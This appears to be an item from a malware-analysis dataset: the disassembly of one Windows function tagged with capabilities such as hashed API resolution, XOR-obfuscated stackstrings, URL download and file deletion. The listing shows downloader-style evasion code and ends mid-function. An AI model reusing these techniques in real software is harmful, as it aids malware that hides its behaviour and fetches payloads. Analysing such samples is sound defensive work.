Function at 0x14006cdb0
Capabilities:
Access peb ldr_data
Check if file exists
Contain obfuscated stackstrings
Delete file
Download url
Encode data using xor
Get common file path
Get graphical window text
Get process filename
Hash data using fnv
Receive data
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x59d0]
mov eax, 0x5ad0
call fcn.1400fda20
sub rsp, rax
movaps xmmword [rsp + 0x5ac0], xmm6
movaps xmmword [rsp + 0x5ab0], xmm7
movaps xmmword [rsp + 0x5aa0], xmm8
movaps xmmword [rsp + 0x5a90], xmm9
movaps xmmword [rsp + 0x5a80], xmm10
movaps xmmword [rsp + 0x5a70], xmm11
movaps xmmword [rsp + 0x5a60], xmm12
movaps xmmword [rsp + 0x5a50], xmm13
movaps xmmword [rsp + 0x5a40], xmm14
movaps xmmword [rsp + 0x5a30], xmm15
mov rax, qword [0x1401e9060]
xor rax, rsp
mov qword [rbp + 0x5920], rax
mov dword [rbp + 0x2720], 0x50
mov dword [rbp + 0x2724], 0x40
lea rax, [0x14008a6c0]
mov qword [rbp + 0x2728], rax
xor r12d, r12d
mov dword [rbp + 0x2730], r12d
mov dword [rbp + 0x2734], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x2738], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x2740], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2750], xmm1
lea rcx, [rbp + 0x56]
call fcn.140082860
mov rbx, rax
mov rcx, rax
call fcn.140091cc0
mov qword [rbp + 0x2760], rbx
mov qword [rbp + 0x2768], r12
lea rcx, [rbp + 0x2720]
call qword [sym.imp.USER32.dll_RegisterClassExA]
lea rcx, [rbp + 0x57]
call fcn.1400828c0
mov rbx, rax
mov rcx, rax
call fcn.140091c90
mov qword [rsp + 0x58], r12
mov rcx, qword [rbp + 0x2738]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov r13d, 5
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov r9d, 0x80000000
mov r8, rbx
mov rdx, qword [rbp + 0x2760]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x140210860], rax
mov rcx, rax
call fcn.14006c720
test al, al
jne 0x14006cf64
call fcn.14006c800
mov rdx, qword [rbp + 0x2738]
mov rcx, qword [rbp + 0x2760]
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea eax, [r12 + 1]
jmp 0x1400827f6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006cff6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006cff6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x61994c41
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006cff1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006cfd0
cmp r8d, 0x9887acd4
je 0x14006cffb
test r9d, r9d
jne 0x14006cfb0
mov rax, qword [rax]
jmp 0x14006cf80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
xor edx, edx
mov rcx, qword [0x140210860]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006d0a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006d0a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x8b1c638d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006d0a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006d080
cmp r8d, 0x951dba0
je 0x14006d0ab
test r9d, r9d
jne 0x14006d060
mov rax, qword [rax]
jmp 0x14006d030
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [0x140210860]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006d156
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006d156
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x3c934f35
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006d151
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006d130
cmp r8d, 0x5190467f
je 0x14006d15b
test r9d, r9d
jne 0x14006d110
mov rax, qword [rax]
jmp 0x14006d0e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006d206
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006d206
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x9fd86021
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006d201
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006d1e0
cmp r8d, 0xcf1b6be9
je 0x14006d20b
test r9d, r9d
jne 0x14006d1c0
mov rax, qword [rax]
jmp 0x14006d190
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x58]
call fcn.140082920
mov rbx, rax
mov rcx, rax
call fcn.140091c40
xor edx, edx
mov rcx, rbx
call rdi
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006d2d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006d2d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0xe0a2b3e9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14006d2d1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14006d2b0
cmp r8d, 0xbebe4a4c
je 0x14006d2db
test r9d, r9d
jne 0x14006d290
mov rcx, qword [rcx]
jmp 0x14006d260
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
xor edx, edx
mov rcx, rsi
call r8
call fcn.140060110
lea rdx, [0x14004ec40]
lea rcx, [rbp + 0x640]
call fcn.140098d30
nop
lea rcx, [rbp + 0x640]
call fcn.1400027a0
nop
cmp dword [rbp + 0x648], 0
je 0x14006d331
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor ecx, ecx
call fcn.140006f50
mov r14, qword [0x140210780]
mov qword [rbp + 0xb0], r14
mov qword [r14 + 0x20], r12
or dword [r14 + 8], 0x400
call fcn.14006cb80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006d3e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006d3e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x208fde60
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006d3e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006d3c0
cmp r8d, 0x228049de
je 0x14006d3eb
test r9d, r9d
jne 0x14006d3a0
mov rax, qword [rax]
jmp 0x14006d370
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
call qword [sym.imp.USER32.dll_GetDesktopWindow]
lea rdx, [rbp + 0x2830]
mov rcx, rax
call rbx
mov eax, dword [rbp + 0x2838]
add eax, 0xfffffda8
movd xmm7, eax
cvtdq2ps xmm7, xmm7
movss xmm12, dword [0x1401cb48c]
mulss xmm7, xmm12
movss dword [rbp + 0x70], xmm7
mov eax, dword [rbp + 0x283c]
add eax, 0xfffffebb
movd xmm8, eax
cvtdq2ps xmm8, xmm8
mulss xmm8, xmm12
movss dword [rbp + 0x6c], xmm8
xor edx, edx
mov rcx, qword [r14 + 0xa8]
call fcn.1400308a0
mov rsi, qword [r14 + 0xa8]
mov rcx, rsi
call fcn.140032ac0
mov rbx, rax
lea rcx, [rbp + 0x59]
call fcn.1400829e0
mov rdi, rax
mov rcx, rax
call fcn.140091bf0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
movss xmm6, dword [0x1401cb57c]
movaps xmm2, xmm6
mov rdx, rdi
mov rcx, rsi
call fcn.140030a10
mov rsi, qword [r14 + 0xa8]
mov rcx, rsi
call fcn.140032ac0
mov rbx, rax
lea rcx, [rbp - 0x80]
call fcn.140082ac0
mov rdi, rax
mov rcx, rax
call fcn.140091ba0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
movss xmm2, dword [0x1401cb584]
mov rdx, rdi
mov rcx, rsi
call fcn.140030a10
mov r15, rax
mov qword [rbp + 0xb8], rax
lea rcx, [rbp + 0x33e0]
call fcn.140030380
mov byte [rbp + 0x3428], 1
mov byte [rbp + 0x3400], 1
lea rbx, [0x1401c91d0]
mov qword [rsp + 0x28], rbx
lea rax, [rbp + 0x33e0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm6
mov r8d, 0x3934b
lea rdx, [0x14014d5e0]
mov rcx, qword [r14 + 0xa8]
call fcn.140030c80
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x1401cb588]
mov r8d, 0x3934b
lea rdx, [0x14014d5e0]
mov rcx, qword [r14 + 0xa8]
call fcn.140030c80
lea rax, [0x1401c8e80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x1401cb598]
mov r8d, 0x2ce4b
lea rdx, [0x140120790]
mov rcx, qword [r14 + 0xa8]
call fcn.140030c80
lea rcx, [rbp + 0x3470]
call fcn.140030380
mov byte [rbp + 0x34b8], 1
mov byte [rbp + 0x3490], 1
mov dword [rbp + 0x3488], 3
mov dword [rbp + 0x348c], 3
lea rcx, [rbp + 0x3500]
call fcn.140030380
mov byte [rbp + 0x350c], 0
mov rcx, qword [r14 + 0xa8]
movups xmm0, xmmword [rbp + 0x3500]
movups xmmword [rbp + 0x2770], xmm0
movups xmm1, xmmword [rbp + 0x3510]
movups xmmword [rbp + 0x2780], xmm1
movups xmm0, xmmword [rbp + 0x3520]
movups xmmword [rbp + 0x2790], xmm0
movups xmm1, xmmword [rbp + 0x3530]
movups xmmword [rbp + 0x27a0], xmm1
movups xmm0, xmmword [rbp + 0x3540]
movups xmmword [rbp + 0x27b0], xmm0
movups xmm1, xmmword [rbp + 0x3550]
movups xmmword [rbp + 0x27c0], xmm1
movups xmm0, xmmword [rbp + 0x3560]
movups xmmword [rbp + 0x27d0], xmm0
movups xmm1, xmmword [rbp + 0x3570]
movups xmmword [rbp + 0x27e0], xmm1
movsd xmm0, qword [rbp + 0x3580]
movsd qword [rbp + 0x27f0], xmm0
lea rax, [0x1401a4fd0]
mov qword [rbp + 0x2770], rax
mov dword [rbp + 0x2778], 0x225bc
movss xmm0, dword [0x1401cb58c]
movss dword [rbp + 0x2784], xmm0
lea rdx, [rbp + 0x2770]
call fcn.140030630
mov qword [rbp + 0xc0], rax
lea rax, [0x1401c9b40]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x3470]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x1401cb59c]
mov r8d, 0x1e695
lea rdx, [0x140186930]
mov rcx, qword [r14 + 0xa8]
call fcn.140030c80
xor r8d, r8d
mov edx, 0xa653
lea rcx, [0x1401e90c0]
call fcn.140060cf0
mov r12d, 1
mov r8d, r12d
mov edx, 0x2bf5
lea rcx, [0x1402065f0]
call fcn.140060cf0
mov edx, 0x12ec1
lea r8d, [r12 + 1]
lea rcx, [0x1401f3720]
call fcn.140060cf0
mov edx, 0x5f91
lea r8d, [r12 + 2]
lea rcx, [0x1402091f0]
call fcn.140060cf0
lea rcx, [0x140211120]
call fcn.1400a1c60
lea rcx, [0x140211120]
call fcn.1400a3d60
test al, al
je 0x14006d91e
lea rcx, [0x140211100]
call fcn.140090b20
mov rbx, rax
lea rcx, [0x140210d60]
call fcn.140090b20
xor r14d, r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.1400578b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006d816
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006d816
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x6972bc4b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006d811
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006d7f0
cmp r8d, 0x700ce0f2
je 0x14006d81b
test r9d, r9d
jne 0x14006d7d0
mov rax, qword [rax]
jmp 0x14006d7a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
lea rcx, [rbp - 0x7f]
call fcn.140082ba0
mov rcx, rax
call fcn.14008dfa0
mov rcx, rax
call rbx
call fcn.140051780
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14006d8e3
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14006d8e3
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xcbb0c2d2
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006d8de
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006d8c0
cmp edx, 0x6c6893ea
je 0x14006d901
test r8d, r8d
jne 0x14006d8a0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14006d8f8
cmp qword [rax + 0x30], r14
jne 0x14006d870
mov rdx, r14
xor ecx, ecx
call rdx
jmp 0x14006d921
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
jmp 0x14006d921
xor r14d, r14d
call qword [fcn.1400af450]
mov rbx, rax
lea rcx, [rbp + 0x2af8]
call fcn.140090c70
nop
test rbx, rbx
jne 0x14006da15
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14006d9d3
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14006d9d3
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xc2dbeb7a
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006d9ce
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006d9b0
cmp edx, 0x40258ff2
je 0x14006d9f5
test r8d, r8d
jne 0x14006d990
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14006d9e9
cmp qword [rax + 0x30], 0
jne 0x14006d960
mov rdx, r14
xor ecx, ecx
call rdx
jmp 0x14006da9a
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
jmp 0x14006da9a
movdqa xmm0, xmmword [0x1401ccd90]
movdqu xmmword [rbp + 0x2548], xmm0
movdqa xmm1, xmmword [0x1401cc160]
movdqu xmmword [rbp + 0x2558], xmm1
mov byte [rbp + 0x2568], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x2569], 0
mov byte [rbp + 0x256a], 1
lea rcx, [rbp + 0x2548]
call fcn.140082c50
mov r8, rax
mov edx, 0x2712
mov rcx, rbx
call qword [str.P0_v_]
lea r8, [rbp + 0x2af8]
mov edx, 0x2711
mov rcx, rbx
call qword [str.P0_v_]
lea r8, [0x140060dc0]
mov edx, 0x4e2b
mov rcx, rbx
call qword [str.P0_v_]
mov rcx, rbx
call qword [fcn.1400af510]
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x7e]
call fcn.140082c80
mov r10, rax
cmp byte [rax + 3], 0
je 0x14006db89
mov r8d, r14d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14006db54
movdqa xmm3, xmmword [0x1401cb700]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1401cd5c0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1401cd5c0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r13d
psrad xmm2, xmm0
mov eax, Ordinal_32
movd xmm0, eax
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401cb720]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401cb840]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401cc150]
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
jmp 0x14006db89
mov r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14006db60
mov rdx, r10
lea rcx, [rbp + 0x2af8]
call fcn.140093b90
test al, al
jne 0x14006dd34
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006dc36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006dc36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x17abcd43
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006dc31
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006dc10
cmp r8d, 0xf0cec9e2
je 0x14006dc3b
test r9d, r9d
jne 0x14006dbf0
mov rax, qword [rax]
jmp 0x14006dbc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x7d]
call fcn.140082d60
mov rcx, rax
call fcn.14008df10
mov rbx, rax
lea rcx, [rbp - 0x7c]
call fcn.140082c90
mov rcx, rax
call fcn.14008df50
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14006dd17
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14006dd17
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xd729872f
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006dd12
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006dcf0
cmp edx, 0xefca43af
je 0x14006e05b
test r8d, r8d
jne 0x14006dcd0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14006dd2d
cmp qword [rax + 0x30], 0
jne 0x14006dca0
mov rdx, r14
xor ecx, ecx
call rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d18], xmm0
movups xmmword [rbp + 0x2d28], xmm0
movups xmmword [rbp + 0x2d38], xmm0
lea rdx, [rbp + 0x41c0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x102
ja 0x14006ea23
mov byte [rbp + 0x400], 0x7e
mov byte [rbp + 0x401], Ordinal_79
mov byte [rbp + 0x402], 0x54
mov byte [rbp + 0x403], Ordinal_79
mov byte [rbp + 0x404], 0x42
mov byte [rbp + 0x405], Ordinal_32
mov byte [rbp + 0x406], 0x58
mov byte [rbp + 0x407], 0x40
mov byte [rbp + 0x408], 0x5b
mov byte [rbp + 0x409], 0x5b
mov byte [rbp + 0x40a], 0
mov byte [rbp + 0x40b], 1
lea rdx, [rbp + 0x41c0]
lea rcx, [rbp + 0x1788]
call fcn.140090c30
nop
lea r8, [rbp + 0x400]
mov rdx, rax
lea rcx, [rbp + 0x2ad8]
call fcn.140082dc0
nop
lea rcx, [rbp + 0x1788]
call fcn.140090bf0
xor r8d, r8d
lea rdx, [rbp + 0x2ad8]
lea rcx, [rbp + 0x1548]
call fcn.140093be0
nop
lea rcx, [rbp + 0x1548]
call fcn.14004b330
movzx ebx, al
lea rcx, [rbp + 0x1548]
call fcn.14004a950
test bl, bl
je 0x14006ea12
lea rax, [rbp + 0x17e8]
mov qword [rbp + 0x60], rax
mov byte [rbp + 0x2d0], Ordinal_79
mov byte [rbp + 0x2d1], 0x5a
mov byte [rbp + 0x2d2], 0x5b
mov byte [rbp + 0x2d3], reloc.WS2_32.dll_socket
mov byte [rbp + 0x2d4], 0x55
mov byte [rbp + 0x2d5], 0x43
mov byte [rbp + 0x2d6], 0x58
mov byte [rbp + 0x2d7], 0x55
mov byte [rbp + 0x2d8], 0
mov byte [rbp + 0x2d9], 1
lea rdx, [rbp + 0x17e8]
lea rcx, [rbp + 0x2d0]
call fcn.14008e470
mov rbx, rax
lea rdx, [rbp + 0x2ad8]
lea rcx, [rbp + 0x1808]
call fcn.140090c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2ab8]
call fcn.14004caa0
nop
lea rax, [rbp + 0x1848]
mov qword [rsp + 0x70], rax
mov byte [rbp + 0x410], 0x5f
mov byte [rbp + 0x411], 0x48
mov byte [rbp + 0x412], 0x5c
mov byte [rbp + 0x413], Ordinal_79
mov byte [rbp + 0x414], 0x5a
mov byte [rbp + 0x415], 0x58
mov byte [rbp + 0x416], 2
mov byte [rbp + 0x417], 0x40
mov byte [rbp + 0x418], 0x41
mov byte [rbp + 0x419], 0x44
mov byte [rbp + 0x41a], 0
mov byte [rbp + 0x41b], 1
lea rdx, [rbp + 0x1848]
lea rcx, [rbp + 0x410]
call fcn.14008e4e0
mov rbx, rax
lea rdx, [rbp + 0x2ad8]
lea rcx, [rbp + 0x1868]
call fcn.140090c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2a98]
call fcn.14004caa0
nop
lea rax, [rbp + 0x18a8]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x2a98]
lea rcx, [rbp + 0x18a8]
call fcn.140090c90
mov rbx, rax
lea rdx, [rbp + 0x2ab8]
lea rcx, [rbp + 0x18c8]
call fcn.140090c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x140211120]
call fcn.1400a26f0
cmp byte [0x140211360], 0
jne 0x14006e224
lea rcx, [rbp + 0x2ad8]
call fcn.140090b20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e056
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e056
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8e5a404
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006e051
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006e030
cmp r8d, 0x35322327
je 0x14006e077
test r9d, r9d
jne 0x14006e010
mov rax, qword [rax]
jmp 0x14006dfe0
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006dd30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x1f4
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
